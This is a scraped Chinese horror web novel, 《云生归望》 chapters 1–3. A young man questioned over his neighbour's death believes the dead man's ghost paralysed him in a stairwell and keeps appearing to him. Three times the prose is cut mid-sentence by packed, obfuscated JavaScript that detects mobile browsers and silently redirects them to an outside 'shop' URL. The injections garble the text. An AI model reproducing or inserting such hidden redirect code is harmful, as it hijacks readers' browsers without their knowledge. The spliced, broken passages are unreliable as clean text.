《云生归望》 1. 梦魇 2012年12月22日。 传说中世界末日的第二天。 易无钦被一阵急促的敲门声吵醒。 头疼欲裂,他撑起半个身子看见地板上的啤酒瓶,想起了昨晚的宿醉。 一场宿醉,起码应该要两天的休息来恢复。所以他对这个吵醒他的敲门声,很生气。再一看时间,早上八点半,更生气。 敲门声还在持续,他骂骂咧咧爬起床,一脚浅一脚深的前去玄关那里开门。 一边去一边在内心里积攒怨气。今天不管敲门的是谁,这顿骂都逃不了。 然而一打开门,呼之欲出的骂声硬生生被吞回了肚子里。 门外站着两名警察。 “你好,请问是易无钦吗?”警察礼貌地问道。 “啊,”易无钦有些懵,“我是。” “我们是北塔街道派出所的民警,我叫张龙。”一名警察向他介绍。 另一名警察也跟着说:“我叫刘波,我们正在调查发生在这里的一个案件,希望你能配合我们工作。” “啥案件?跟我有关?”易无钦听得头疼欲裂,突然发现楼道有些吵闹。他的目光越过两位警察的肩头望出去,才发现原来并不止这两位警察。 楼道里来了不少人,除了警察还有围观的。围在他隔壁那户门口。隔壁邻居门口拉着警戒线,正在工作的警察进进出出。 易无钦看过去时,正好两名法医抬着盖了白布的担架从屋子里出来,楼道里瞬间一阵轰动,七嘴八舌炸开了锅。 “嘶,”他倒吸一口冷气,看多了电视剧他立即猜到那是什么,“啥?出人命了?” 张龙朝他点点头。 昨晚宿醉遗留的酒在易无钦脑子彻底消失无影。 “死者金海军在你隔壁住了一个多月,你认识他吗?”张龙问道。 易无钦摇摇头,“不认识,好像他不怎么出门,我都没怎么见过他,他长啥样我都不记得。” 想了想他又补充,“我只知道他是个男的。” “那你知道这个房子除了他,还有没有其他人?”张龙继续问。 “没有吧,”易无钦仔细回忆着,越想头越痛,“警察同志,要不咱们进屋说吧,我昨晚喝了酒现在身体还不太舒服。” “好。” “昨晚你跟你朋友一起喝酒吗?”张龙边走边问,看见客厅里好几瓶空的啤酒瓶,还有一些没有收拾的烤串和花生米。 “啊,昨晚我一个人喝的。”易无钦赶紧将啤酒瓶和烤串那些东西扫到一旁,招呼二人坐下。 刘波对他道:“不好意思,您住死者隔壁,我们需要对您的房子做一番检查。” 易无钦点点头表示理解并配合工作。 刘波转头在门口叫了两个同事进门来开始了检查工作。 “昨晚七点到十二点这段时间,请问您在哪儿?”张龙打开执法记录仪,拿着笔录本问道。 易无钦揉揉头,“昨晚我大概六点多吧,在对面街边那家烧烤店吃烧烤。离开的时候大概八点多,回到家好像是九点。我只能记得大概,具体记不清了。” 张龙顿了顿,“你从街对面的烧烤店回到家花了一个小时?” “啊,”易无钦眨眨眼睛,“我去商店再买了点吃的和啤酒,才回来的。” 张龙盯着那些啤酒瓶看,继续问道:“你在烧烤店已经喝了酒,回到家继续喝?都是一个人?” 易无钦挠挠头,有点不好意思,“昨天不是传说中的世界末日嘛,我觉得我今年挺不好的,所以想一个人来个一醉方休。但是呢,我又怕一个人在外面喝酒会出事儿。警察同志,您知道的,冬天喝醉冻死在外面的也不是没有。所以我就回家来继续喝。” “喝酒总是危险的。尤其一个人,不管在家里喝还是外面,一旦醉了都容易出事。像你昨天晚上那样,要是被自己的呕吐物阻塞喉咙,那也很危险。”张龙语重心长,他环视四周,又问,“你一个人住?” “嗯,一个人住。我姥姥前儿十月去世了。家里除了我没别人。”易无钦低垂下了头。 “对不起,请节哀。”张龙抬头正好看到了墙上挂着的遗像,里面的老人正静静看着他。 张龙继续问:“昨晚你回家时有没有遇到陌生人,或者碰到什么事?” 易无钦眼皮一跳,心脏也跟着怦怦跳了几下。他赶紧用双手捂住脸,仍然低垂着头,假装在思考。 他确实在楼梯间遇到点事儿。 昨晚从烧烤店出来去商店买了啤酒后,他慢悠悠走在回家的路上。 东北的冬天是真的冷,大雪纷飞的,把人显得格外渺小。 人就是时代的一粒微不足道的沙子。易无钦想起了这句话,像他这样默默无闻的人更像是雪花,天一晴就化了,还不如沙子留个东西。于是心里又生出愤恨来,既然那么微不足道,为什么要他过得如此艰难。 他小学时父母都不在了。跟着姥姥回到辽宁后也算清清静静过了这十多年。可姥姥去世了,他就彻底成了孤儿。 22岁刚从学校毕业找不到工作的孤儿。 易无钦紧了紧身上的羽绒服,抱着打包盒和啤酒开始一路小跑进楼房。 其实也不能说是找不到工作,他学美术的,外面大把广告公司在招设计。事实上还没毕业时他就去实习了,那家公司老板比较年轻,相处起来各方面都很融洽。 就客户太操蛋! 知道他姥姥病重人守在医院,还夺命连环电话叫他立刻去改一些微不足道的细节。 他懒得去回忆那些居高临下以为自己是人上人的傻狗甲方嘴脸,都过去了。 他和姥姥住的是厂区的家属院,老房子了,楼道的灯坏了也没人及时修理。 还好他对环境够熟悉,连谁家门口堆了几双鞋都知道。不打手电也能上楼回到家。 可今天是传说中的世界末日,大概还是不一样的。 快到家门口时,易无钦脚下一趔趄,仿佛绊到什么东西,然后摔倒了。 现在回想一下,摔倒的地方好像就是隔壁邻居门口。 易无钦打了个冷颤。 昨晚摔倒后,他第一时间关心啤酒和烤串摔出来没有,想爬起来时,却发现自己动不了。 眼皮很沉重,像是喝醉了忍不住要睡觉那样。可是易无钦心里十分清楚,在烧烤店喝的那两瓶啤酒,并不足以让他醉过去。 就算醉了也不应该是这样。他的身体软绵绵动不了,但意识却十分清醒。 他侧躺在地上,明明白白看见旁边有一个黑影缓缓凑了上来,凑到他面前,盯着他看。 后来想想,这一幕是相当不合理的。以他的角度,应该只能看见这个黑影的脚,但易无钦清清楚楚看到的,是这个黑影的脸。 那是一个他不认识的成年男子,长相平平无奇,脸色十分苍白没有血色。 很奇怪,在这个漆黑得只能借助楼外灯光勉强看看轮廓的楼道里,易无钦却十分清晰地看到眼前这个人的五官,他一直在盯着自己看。 易无钦张嘴想说话,却发现自己出不了声。 动也动不了,喊也喊不出。 这太不对劲了! 鬼压床!易无钦脑海里蹦出这三个字。 他这一定是被魇住了。 易无钦想起姥姥说过,遇到鬼压床,要骂脏话或者念佛号。 他立即开始在内心开骂,可是全都试了一遍后,自己仍然不能动,眼前这个“人”也没有消失。 这个“人”非但没有消失,反而变本加厉。他俯下身来,朝易无钦吹了口冷气。 易无钦瞬间头皮炸开,浑身如坠冰窟。 如果说东北零下二十多度的天气是体表感受到的寒冷,那么这口气就是让他从内心升起的刺骨冰冷。 易无钦曾听一个朋友的爸爸讲过鬼故事,还说是亲身经历。 那个叔叔年轻时曾在一家殡仪馆当过一段时间大厨,给送亲守夜的家属们做饭。有时难免要在殡仪馆宿舍过夜。 有一天天热,叔叔晚上一个人在楼下睡觉。半夜他忽然惊醒,听到二楼传来阵阵脚步声。 这栋二层的楼虽然是宿舍,但平时基本就他一个人偶尔住一住,其他人根本不在。更何况这家殡仪馆一共也没几个员工,即便要过夜,就在一楼将就就行了,何必去没打扫的二楼。 他第一反应是来了小偷,但转念一想,二楼也就堆了不值钱的杂物,灰都落了一大层,有啥好偷呢? 二楼脚步声还在继续,谨慎起见,叔叔决定还是上去看一看。他找了个趁手的家伙操在手里,悄悄上楼。结果一圈看下来,二楼根本就没人。 满脑疑惑的他以为是自己听错了,只好下楼来想继续睡觉,结果又听见二楼响起脚步声。 叔叔并不是个迷信的人,殡仪馆老板也是看中他脾性大才开出高工资请他当大厨。他正懵着想弄懂啥情况,忽然感觉到后脑勺一股冷气袭来。 那是有人在对着他吹气。 他立马回头,发现房间里根本没其他人,只有他一个。而且门窗都关着,也不存在吹风进来的情况。 他怀疑这口冷气是不是他多想了,结果这时又有一股冷气吹到他的后脑勺上。 如坠冰窟。 从不迷信的叔叔在这一刻开始相信了鬼神,饶是他脾性再大,也不得不被这口冷气吓得寒毛当场竖立。他再迟钝也知道这是遇见了不干净的东西。吹气的,楼上的脚步声,都是不干净的东西。 那晚他没睡着觉,睁眼到天亮。 第二天叔叔就回家了,家人多方托人找到个懂行的大师一番做法,才解决了问题。 易无钦对大师如何做法,遇到的究竟是什么不干净的东西已经记不大清了,唯一印象深刻的便是吹气这一点。 鬼会对着人吹冷气。只有鬼吹的气才会让人感觉那么冷。 想不到今天这个世界末日没等到地球毁灭,等来了鬼压床。 易无钦瑟瑟发抖,害怕至极。他很希望这个时候来个人,真正的人,将他解救了。可是他更清楚,这个家属楼里像他这样的年轻人很少,大多是上了年纪的人。在这个时间点,他们一般猫在家里看电视不出来。 “我要赶紧挣脱开来,不能不明不白死在这里。”他拼命挣扎着,然而手脚仍是不听使唤。 无能为力,他只能眼睁睁看着那个“人”在他脸旁,双眼无神地盯着他看。 一种巨大的绝望包裹住了他,易无钦感觉四面八方有种莫名其妙的压力,不停挤迫着他的身体,脖颈间是越来越重的窒息感。 时间仿佛凝滞,或许这才是真正的世界末日。 易无钦就这样神智清醒地感觉到身体的不受控,他怀疑自己也将这样清醒地死掉。 忽然隐隐约约传来一阵声响,易无钦认真去听,好像是鼓声,“呱,呱,”这是青蛙叫声? 现在是冬天,青蛙不是都在冬眠吗?易无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526731|203544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钦来不及细想更多,他感觉到这几声青蛙叫居然解除了他身上的压迫感。 楼道里传来脚步声,随后是说话声,一个女孩正在打电话,“哎呀,这几天都没看到他,打他电话也不接,晓得在干啥子哟。” 口音跟东北大不一样。 但易无钦记得这口音,这是西南地区的方言,是他幼时的记忆。 来不及回忆,易无钦感觉到自己恢复了对身体的控制。他转头去看,发现刚才那个黑影不见了。 “也,地上怎么躺了个人?”女孩已经走到了易无钦身边,转换成不标准的普通话。 “你没事吧?”她关心道。 易无钦艰难地从地上爬起来,大口喘气,“没事没事,就不小心摔了一跤。” “谢谢您了。”他含糊地对她说。 女孩感觉莫名其妙,“啊?” 易无钦连滚带爬回到了自己的家。 瘫在沙发上,他回想方才的遭遇,仍然头皮发麻。他将家里所有灯都打开,明亮的灯光让他有了些许安慰。 刚才那个到底什么东西,怎么就魇住了他,无冤无仇的。 易无钦忽然想起刚才的女孩好像还在楼道里,她要是撞见了那个东西,可不得吓死。 要不出去看看,提醒两句也好? 他心里犯起了矛盾。出去吧,万一那东西还在又缠住了他呢?不出去吧,可刚才确实也是女孩来了他解脱了。 易无钦抬头看看墙上姥姥的遗像。姥姥平时虽然说话刻薄,经常骂跑出现在家属院里的陌生人尤其是外地人,但为人正直不屈。她虽不喜欢陌生人,但街上碰见有需要帮忙的也会默默帮一把。 他拿下墙上挂着辟邪的桃木剑,深吸一口气打开了门。 那个东西不在了。 女孩还在。 她在敲隔壁的门。 易无钦清了清嗓子,“美女,你找谁?” 女孩说,“找住这里的那个男的,是我亲戚。他不在家吗,敲门也不开。” “那应该是不在家吧,这么晚了你早点回去吧,一个女孩家不安全的。” 女孩不死心又敲了几下,发现确实没有人,失望道:“好吧。”她礼貌地向易无钦道谢,转身往楼下走去。 直到女孩的脚步声彻底消失了,易无钦才关上门,将桃木剑挂回了墙上。 现在,当着警察的面,他能将这段遭遇说出来吗?警察肯定不信! 更何况,他很难说清昨晚到底是不是他喝醉了的幻觉。 “没有吧,不记得了,我当时喝了酒头有点晕。”他抬起头说。 这时,刘波和另一位进屋检查的警察走过来,对张龙说:“检查完了,他屋里没有异常情况。” 刘波对易无钦说:“不好意思,还要麻烦你。我们需要采集你的指纹。” “哦哦哦,我配合,全都配合。”易无钦乖乖地任他们取样。 张龙继续问,“昨晚你回来后,有没有听到隔壁有什么动静?” “回到家,我躺沙发上休息了会儿,看了会电视。然后继续喝酒吃东西,没听到隔壁有啥声音。”易无钦边想边说,他犹豫了一下,没有说遇到那个女孩的事。 “本案尚未有定论,麻烦您这些日子尽量留在本地,保持通信顺畅,谢谢。”张龙让他在笔录上签了字,收起执法记录仪,和刘波一起离开了。 易无钦关上门,径自倒在沙发上继续瘫着。脑袋还是痛,乱糟糟的。 他控制不住又想到昨晚的事。那个面色苍白的黑影魇住了他,而今天警察又发现了尸体。 隔壁的尸体是凶杀案吗?易无钦自顾自揣测着。他又开始觉得昨天晚上事,不应该往鬼压床的方向想,说不定本身就跟神啊鬼的没关系。 会不会是这样,自己回来的时候运气不好,撞上的黑影其实是准备逃走的凶手。那个凶手用什么药将他迷晕动弹不得,正准备下手灭口的时候,那个女孩来了,凶手怕被更多人发现就逃走了。他也因此捡回一命。 至于吹气,看见脸之类的,不过是凶手药物的作用再加上他本来就喝了酒,神智不清醒。 如果是这样,那应该给警察说一下昨晚的情况,说不定能帮忙抓住凶手。 想到这里,易无钦从沙发上爬起来,打开屋门,看见警察还在楼道里忙忙碌碌。 “警察同志,”他张口喊道。 离他最近的警察刘波扭过头来,用眼神询问他。 易无钦感到喉咙发紧,正想开口说凶手的事情,可话到嘴边,鬼使神差地,他换了个问题:“能给我看看这位邻居的照片吗?” 刘波脸上露出疑惑的表情。 易无钦舔了舔嘴唇,“我也是看看能不能想到什么有用的线索。” 刘波小跑两步去向队长请示了一下,得到同意后找到物证的同事,拿出一个袋子。 “喏,你看看,这是死者的证件照。”刘波拿着袋子向他展示。 物证袋里装的是一张简历表,刘波用手遮住其他信息,只让他看照片。 那是一张红底的证件照,质感很好,应该是去了那种刚刚兴起的收费比较高还负责修片的照相馆。照片把人显得格外清晰好看。 好看之余还不失真。照片上的邻居静静地看着他。 易无钦瞬间头皮发麻,沁骨的寒意从心而生。 他一眼就认出了他是谁。 他是昨晚楼道那个黑影。那个魇住了他的黑影。 2. 旧魇 易无钦走在一列队伍里,这个队伍里一共有五个人,都是半大小子。 为首的是他们几个中最大的孩子,已经读初中了。这里也是他带他们来的。 “哥,这个山洞里真的有宝藏啊?”走在第二个的小孩好奇问道。 为首的孩子肯定地点头,“真的呀,我是你们的大哥,还会骗你们吗?” “是啥子宝藏?” “就是古代人用的武器,刀啊,剑啊,电视上那种。”为首孩子缓缓地带着小队往前走。 几个孩子兴奋起来,互相抓紧了手,排成一列继续往前走。 易无钦走在倒数第二个,在他后面的是这个小队里年龄第二大的哥哥。这是大哥的安排,一头一尾是最大的两个人负责保护,大家手拉着手前进,这样保证安全不掉队。 这个山洞也是大哥发现的,他说在里面捡到了一个武器,看起来像是电视里战士用的长缨枪枪头。 大哥给他们看过那个枪头,其实跟电视上的样子差别很大。大哥说是因为年代太久远,肯定不能和几百年前比。后来,大哥的爸爸收走了枪头,说娃儿家家不能玩这些。 大哥不服气,但又不敢反抗爸爸,于是带着他们来探山洞,希望能再次捡到武器。 山洞越往里越黑暗,起先还能看见两旁的怪石嶙峋,很快只能看见朦朦胧胧的影子,再后来啥也看不见。 “哎呀,要是你偷到你爸的矿灯就好了,我们就看得到了。”有个小伙伴忍不住抱怨。 “我爸藏起来了,他晓得遭我拿到我就要去钻洞子耍。他藏得深我找不到。”另一个小伙伴解释。 大哥的声音从前面传来,“没得关系,这个山洞只有一条路,我们慢慢走,大家都小心点。” 几人屏住了呼吸,连脚步都放轻了。乌漆嘛黑的山洞里,仿佛只听得到他们的心跳声。 “大哥,前面还有好久到啊?” 大哥轻声解释,“快到了,快到了,我记得不远。” 一阵沉默的前行。 易无钦左右手各拉着一个小伙伴,缓慢地跟着他们走。可是不知何时起,每走一步,好像很窒息。 漆黑的山洞里四面八方莫名的压迫向他们袭来。 而这种压迫只是一种形容不出来的感觉,根本没有实物,不是他们撞到了山壁,也不是山洞里潮湿的水汽,只是一种感觉。反正每往前一步,就多一分四面八方的压迫。明明仍然是开阔的空间,却越走越窄。 “不走了吧,我感觉有点喘不过气,很不舒服。”有小伙伴提议。 大家的脚步不约而同停了下来。 大哥沉默了好一会儿,“就快到了。你们不要自己吓自己,在山洞里有点不舒服的感觉是正常的。你们回去问问下矿的人,都这样的。” 他的话明显没有安抚到大家,一种莫名的恐惧在几人之间越来越浓厚。 又沉默了一会儿,易无钦背后的二哥开口了,“大哥,我们还是出去嘛,下次拿了矿灯再来。” 二哥的提议立即得到了其他人的认同。 漆黑的山洞里,大家都看不见彼此脸上的表情,只有微微发抖的身体和紧攥的手在传递情绪。 大哥的脸藏在黑暗里,不知道他在想啥,只听见他叹了口气,“好吧,我们都出去。” 队伍最后的二哥立即转身成了领头人,慢慢摸索带着大家往外走。 整个过程还算顺利,等见到外面的天光时,大家都不约而同松了口气,那种四面八方袭来的压迫感也消失殆尽。 “你们觉不觉得,这个洞子好奇怪啊。”一个小伙伴边抚着胸口边说,“我也进过山洞,但从来没得这种感觉。” 他这话放在平时肯定会被嘲笑胆小,但现在大家都沉浸在方才的恐惧中,没人笑话,反而是露出赞同的神情。 另一位小伙伴点点头,“对头,我觉得里面像是有啥子东西……” 他话还没说完,二哥立刻打断了他,“现在不要说话了,赶紧离开,我们下山了再说。” 几人看见二哥神情十分严肃,吓得噤声,又看看大哥,只见他看着二哥若有所思,也不说话。 二哥说走就走,招呼他们赶紧离开。 易无钦也被推着走,快离开时他忍不住朝洞口看了一眼。 洞口的怪石蜿蜒向内,漆黑得像化不开的墨。不知是不是刚才小伙伴的话影响到了他。那个洞里面,好像有什么东西在注视着他。 易无钦忍不住打了个冷颤。 几个人一直走到镇上的街道上才停下,看着人来人往的,总算把山洞探险的恐惧感驱赶走了。 “下次我们还是要拿矿灯,不然黑黢黢的太吓人了。”小伙伴提议。 二哥却使劲摇头,“不行,我们以后都不要来这个山洞了。大哥你也不要去了。” “啊,为什么?”小伙伴们围着他。 二哥脸色惨白,眼神发愣,盯着地上看了好久。 过了好一会儿,他才抬起头看着他们说,“刚才我们是排队进去的,一人拉着一人。你们两只手都是拉着人的。但是我和大哥不是,大哥在头头,我在尾尾,我们都只有一只手拉你们,另一只手是空着的。” 二哥低头看着自己的手,极力平复着自己的害怕,“但是,不晓得从好久开始,我感觉我空着的那只手,也有人在拉我。” “嘶”“嘶”几声倒吸冷气,大家都被吓住了。 易无钦头皮发麻,感觉到自己牙齿都在打架。一股后怕的情绪夹杂恐惧在浑身上下游走。 “那大哥你呢,你有没有觉得有人拉你?” 大哥愣了愣,摇头说没有。 他在这时盯住易无钦,面无表情,一张脸越靠越近。 易无钦身上冒出了密密麻麻的细汗,却被死死盯住不能动弹。 这张脸忽然变成了在楼道里魇住他的那个黑影,那个叫金海军的死者,他听见他说,“原来是你。” * 易无钦是被活活吓醒的。 他躺在床上死死盯着天花板,脑中一片空白,只剩下恐惧。 好一会儿,终于回过神来,易无钦打开了床头灯,觉得还不够,又跳下床打开房间的灯。 刚才的梦在他心里萦绕,每个细节都清清楚楚。 一般的梦醒来就会忘记,就算勉强记得也只是零星的片段。 但刚才的梦不一样,太真实了,太恐怖了。 易无钦知道为啥这个梦会细节这么清晰。 因为这是他亲身经历过的。 易无钦把枕头垫高,让上半身靠着舒服点。他不愿去回想刚才的噩梦,于是翻出手机。上面的时间显示现在凌晨三点半。 这会儿再睡肯定是睡不着了,他打开手机微博随意刷刷。 可这个时间点根本没啥人更新动态,他只好往前翻。 “警方三天告破无名女尸案” “xx花园命案警方悬赏” “震惊全国食人魔案告破” …… 不知为啥,刷到的都是命案相关的。易无钦一阵哆嗦,赶紧退出APP。 他又点开了游戏,玩起了《神庙逃亡2》。 可玩着玩着,他很快感觉喘不过气。游戏里的界面好像变成了梦里的那个山洞,他在里面拼命的奔跑,后面有不知名的东西在玩命追他。 他又赶紧退了游戏。 手机扔在一旁,易无钦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526732|203544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道自己现在做啥都没用,乱纷纷的脑子最终都会去回想刚才的梦境。 是,那根本不是梦境,那是幼时他的亲身经历。他那时才七岁,是队伍里最小的,跟着大哥哥们去山洞探险。 那次探险很快就被大人们知道了,几个孩子全都挨了打,他也不例外。至那以后他们再也没有过这样的探险,也没靠近过那个山洞。 后来易无钦被姥姥带回东北后,跟这些小伙伴彻底断了联系。 随着年岁渐长,他越来越觉得山洞探险应该是小伙伴们自己吓自己,正如当时大哥说的那样,乌漆嘛黑的山洞有些异样的感受是正常的。 后来他也渐渐忘了这件事,就跟童年很多记忆一样,长大一点忘一点。 易无钦不知道为啥今晚会梦到儿时这段尘封的记忆。他回想起梦境最后的金海军,那张毫无血色的脸又浮现在脑海中。 难不成这两者还有关联? 那怎么可能呢?那个山洞是在大西南地区,而金海军他是在大东北遇上的。 易无钦从床上起来,在房间里轻轻踱步,感觉刚才噩梦醒后的不适感稍微缓解了一些。 会不会是这样,在他二十二年的人生中,山洞探险和楼道梦魇都属于为数不多的勉强跟诡异经历沾的上边的,所以就一起梦到了? 易无钦拉开窗帘,看见外面的黑夜里大雪纷飞。 他又想起了姥姥。老人家是个迷信的人,若是知道这件事,肯定要找人给他算算。从前他总是嗤之以鼻,能跑就跑。 要是姥姥能活过来,她说啥他都不会再反驳了,也不跑了。 易无钦拉上窗帘,转身回到被窝里,两行泪无声落了下来。 * 再次睡醒已经是中午了,易无钦起床来到客厅,看见张鹏正在抱着电脑玩游戏。 “起来了?中午随便吃点泡面吧,晚上咱们去吃好的,街对面儿那家烤串吧。”张鹏边盯着屏幕打游戏边说话。 易无钦一听烤串,又想起前天晚上的遭遇,连忙摇头,“别,别,吃点儿其他的吧。咱也别在外面吃,买几个菜回来在家里吃。” 张鹏点点头,“都可以。” 等易无钦洗漱完吃泡面的时候,张鹏的游戏也结束了。张鹏从冰箱里拿了两罐可乐,递给易无钦一瓶。 “我看你脸色不好,是昨晚没睡好吗?”张鹏关心道。 易无钦嘴里吃着泡面,回答含含糊糊,“嗯,有点儿。” 张鹏喝了一口可乐,笑起来,“你是不是挑床啊。以前你姥姥从来不让你在外面住的,这是你第一次没睡在自己床上吧,不习惯?” 易无钦笑了笑,没说话。 昨天警察给他看了金海军的照片后,他在家里待得浑身不自在。 金海军是怎么死的?他到底是死者还是凶手?为啥要魇住自己? 在他惶惶然胡思乱想时,同学兼好友张鹏给他打来电话问一个设计方面的事。易无钦趁机说要去他那里住两天。 张鹏虽然觉得意外,但也没多问啥,很高兴地欢迎他的到来。 “你打算啥时候找工作?年后吗?”张鹏有一搭没一搭地聊天。 易无钦不置可否,“可能吧。” 张鹏说,“我帮你留意着吧。”他想了想又说,“我这里有一些散单,都是做设计,你也可以接。一单一付。” 易无钦:“行。” 一碗泡面吃完后,易无钦去厨房洗碗。洗完回来看见张鹏打开电视在看。 他坐到旁边跟着一起看,是《乡村爱情》新出的一季。 再熟悉不过的东北话让他渐渐安定下来,又开始胡思乱想了。 “你相信这个世界上有灵异吗?” 3. 随行 易无钦冷不丁冒出这一句,正看得起劲的张鹏吓了一跳。 “你扯啥呢?”他瞪了他一眼,“你不是最讨厌你姥姥封建迷信那一套吗?” “啊,对,”易无钦又喝了口可乐掩饰自己的心虚,“我就是问问。” 他顿了顿,给张鹏讲了小时候山洞探险的经历。 “切,这算个啥?”张鹏嗤笑一声,“就是你们一群小屁孩儿自己吓自己。” 他拍了拍易无钦的肩膀,“老弟别怕,这屋虽我一个人住,但咱爸妈也请了家里的保家仙顺便保一保我这房子。啥牛鬼蛇神都进不来。” “哎,我也不怕,我这不昨晚临睡前刷到几个凶杀案,看得有点吓人嘛。”易无钦拿出手机翻出微博掩饰着。 张鹏笑了笑不以为意。 整个下午就在无聊的看电视和玩游戏中度过了。 约莫五点时,两人看天黑了,便商量着晚饭的事情。易无钦想着自己是客,该请人家张鹏吃饭,于是自告奋勇去街边打包几个菜回来吃。 他把自己裹严实后出门去。张鹏家小区出门就是一条街,各种饭馆开着的。 易无钦站在路边挑来选去,选了一家他觉得还不错的馆子,进去点了排骨炖豆角、酱大骨、凉拌鸡架、大拉皮打包。 外面的天已经黑透了,可馆子里还没几个客人,稀稀拉拉坐在那里。 客人少,菜就快。老板很快给他把菜和饭都装好了。 易无钦提着打包的就往外走,他还不忘好心替老板拉上玻璃门。 “欢迎光临” 玻璃门上四个大字大约是刚贴上去的,红彤彤新得很。“光”字的竖弯钩可能没贴好,飞起来一点。易无钦伸出手去将它抚平。 被抚平的红纸紧紧贴住玻璃,向上的钩子旁边,出现了一张脸,有个人在盯着他看。 易无钦愣了下,以为是里面的老板在看他弄红纸,就笑了笑,抬手朝他比了个“OK”,意思是这点小事无足挂齿。 手势刚比出去,他就呆住了。 玻璃门上那张脸,好像是金海军。 他赶紧回头,身后却空无一人。 再转头回来,玻璃门上那张脸仍然在看着他,那个位置就在他的身后。 易无钦使劲吞了口水,怀疑是自己看错,说不定是里面的人。于是他不死心推开玻璃门朝里看。 那张脸应该对应的位置,并没有人站在那里。 一旁的老板疑惑地看着他,“小伙子,怎么了?拿掉东西了?” “没,没有……”易无钦慌乱地回答。 他又拉上玻璃门,透过反光,又看到了那张脸,静静地盯着他看。 易无钦瞬间感觉呼吸紊乱,像被人掐住了脖子,他挣扎着扭头就跑。 看错了,一定是昨晚没睡好看错了。 跑到小区楼下,易无钦大喘着气。他不敢回头,也不敢东张西望,不知道自己会遇见啥。 他回忆着张鹏住的小区,这里是新建的楼房,不是他家那种老式家属楼。 这种楼房过道有灯,上下有电梯,比他家好多了。 但易无钦仍然不敢上楼,他害怕再次遇到金海军。 “喂,”他掏出手机给张鹏打电话,“下来接我下。” 张鹏很快就跑下来了,接过他手上的饭菜,满脸的疑惑,“你咋了?怕黑啊?” 易无钦把脸藏在帽子里,瓮声道:“饭菜有点重,我手累。” 张鹏:…… 有了张鹏的陪伴,易无钦没那么害怕了。一路上也没啥奇怪的事发生。 “你这菜整得太多了,咱就俩人。”张鹏啧啧说。 易无钦一进门就去拿报纸当桌布,一边缓和自己的心神,没顾得上回答。 张鹏也不在意,自顾自继续说,“该整点小酒的,可是明天星期一我得上班儿。” “啊?”易无钦诧异地看着他。 “啊什么啊,我不像你没工作,我是有班要上的人。”张鹏笑嘻嘻挤兑他,“今晚吃不完的菜放冰箱,明天中午你自己对付对付也够了,别浪费粮食。” 明天他一个人在家里,该怎么办? 易无钦呆呆地想着,心里莫名害怕起来。 他看了眼张鹏,试探道:“明天,我能不能跟你一块儿去上班?” “啥?”张鹏啃着一块酱骨,眼睛瞪得老大。 “我一个人无聊,”易无钦想着说辞,“再说了,你让我去见识见识你的工作环境呗,说不定能当场找份工作。” 张鹏赶紧摇头,“别,别,我那儿都刷门禁卡,管得严,不让陌生人进。” “哦。”易无钦垂头丧气。 张鹏想了想,说,“这样,你要是无聊,可以出去逛逛。这儿过去二里地新开了个商场,有书店,你去看看书,喝喝咖啡。附近也有网吧,你去上上网也可以。” “行。”易无钦把自己的不安和沮丧掩饰起来,露出笑容。 两人开着电视,边聊天边吃饭。 “哎,奇了怪了。”张鹏摸了摸自己身上。 易无钦诧异地看着他,“怎么了?” “我咋觉得冷呢?”张鹏环顾四周,“感觉像有冷风朝我吹。” 易无钦心中一紧,恐惧感再次蔓延开来。 张鹏起身走到墙壁那里去看暖气片,“没啥问题啊,咋回事呢?”他挠了挠头,又摸了摸手臂,“到这儿冷风消失了。” 易无钦想起了那晚楼道的那口冷气,汗毛炸开,难不成金海军进张鹏家里来了? 他环顾四周,这里不是说有保家仙吗,怎么没能拦住他吗? 他要是进来了,那他和张鹏都得完,一块被魇住。 易无钦瑟瑟发抖,看着还在检查暖气片的张鹏,想跟他说那晚的事儿,却又不知怎么开口。 这事儿跟人家张鹏根本没关系,自己跑来借住已经是打扰,万一说了,反而把他牵扯进来怎么办? 张鹏回到易无钦身边坐下,看他脸色不好,关心问道:“咋了,你是不是感冒了?” “咦,咋回事,坐你身边我感觉冷。你真的是感冒了吧?” 易无钦心中大惊,“没,没有啊。” “你别喝可乐了,我给你倒热水去。”张鹏边说边起身去厨房倒水。 易无钦在此时感觉到凉飕飕,那种刺骨的寒意又来了。 不行,不能被他再次魇住。 易无钦瑟瑟发抖,忽然想到那晚楼道里的鼓声和青蛙叫。那晚这个声音出来后,被魇住的他瞬间能动了。 对对,这说不定就是克制的。 他颤抖着掏出手机,搜索出青蛙的视频,把声音调大。 “呱,呱” 张鹏端着热水走过来,“你在看啥?” “看青蛙视频,挺有趣的。”易无钦接过水杯喝水,他看着张鹏,“你还觉得我身边很冷吗?” 张鹏听得莫名其妙,“没啥感觉。” “晚上我睡你房间的地板吧。”易无钦喝完水说,他看着张鹏诧异的眼神,心虚地解释,“我害怕做噩梦。” “随便你。” 易无钦从包里翻出耳机,本来打算听一晚上的蛙叫声来防止做噩梦,但结果发现根本用不上。 张鹏鼾声如雷,气势如虹。 任凭金海军是什么妖魔鬼怪,此刻都会被这鼾声吓跑吧。 在这虽然吵闹但却让他心安的鼾声中逐渐睡去,一夜无梦。 * 第二天醒来时,张鹏已经去上班了。 易无钦整理好房间, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 